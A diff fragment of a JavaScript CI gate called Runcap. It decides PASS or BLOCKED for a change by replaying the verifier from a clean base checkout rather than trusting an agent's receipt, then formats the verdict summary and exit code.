+  if (r.dependencyInstall === "failed") reasons.push("Base-pinned `npm ci --ignore-scripts` failed: cannot establish a clean baseline.");
+  if (r.baselineFailed === false) reasons.push("Baseline already green: the verifier passed at the base commit, so a post-change pass proves nothing.");
+  if (r.replayPassed !== true) reasons.push("Replay did not pass: the change did not make the base-pinned verifier pass in a clean base checkout.");
+
+  if (reasons.length) {
+    return base("BLOCKED", reasons, { base_sha: baseSha, head_sha: headSha, sha_source: shaSource, policy: policyBlock, diff_classification: publicClassification, code_evidence: codeEvidence });
+  }
+
+  return base("PASS",
+    [`Verifier failed at base and passed after applying ${candidates.length} in-scope text change(s), recomputed in a clean base checkout.`],
+    { base_sha: baseSha, head_sha: headSha, sha_source: shaSource, policy: policyBlock, diff_classification: publicClassification, code_evidence: codeEvidence });
+}
+
+// Markdown lines for the PR step summary + terminal print.
+export function formatAdjudication(v) {
+  const lines = [
+    `Runcap CI adjudication (independent replay from base)`,
+    `====================================================`,
+    `Verdict:     ${v.verdict}`,
+    `Base SHA:    ${v.base_sha ?? "unresolved"}  (source: ${v.sha_source ?? "unknown"})`,
+    `Head SHA:    ${v.head_sha ?? "unresolved"}`
+  ];
+  if (v.policy) {
+    lines.push(`Policy:      ${v.policy.mission?.name ?? "(unnamed)"} - hash ${v.policy.hash}`);
+  }
+  if (v.code_evidence) {
+    const ce = v.code_evidence;
+    lines.push(`Replay:      baseline_failed=${ce.baseline_failed}  replay_passed=${ce.replay_passed}  deps=${ce.dependency_install}`);
+  }
+  lines.push(`Hardening:   required_profile=${v.repository_hardening.required_profile}, runtime_attestation=${v.repository_hardening.runtime_attestation}`);
+  lines.push(`Agent receipt: not read by this required gate (verdict is recomputed from the base commit).`);
+  if (Array.isArray(v.reasons) && v.reasons.length) {
+    lines.push(v.verdict === "PASS" ? `Why:` : `Why ${v.verdict}:`);
+    for (const r of v.reasons) lines.push(`  - ${r}`);
+  }
+  return lines;
+}
+
+// Exit code: PASS and HUMAN_APPROVAL_REQUIRED are non-failing (the human gate is
+// a success/neutral outcome that hands authority to a CODEOWNER); BLOCKED fails.
+export function exitCodeFor(verdict) {
+  return verdict === "BLOCKED" ? 1 : 0;
+}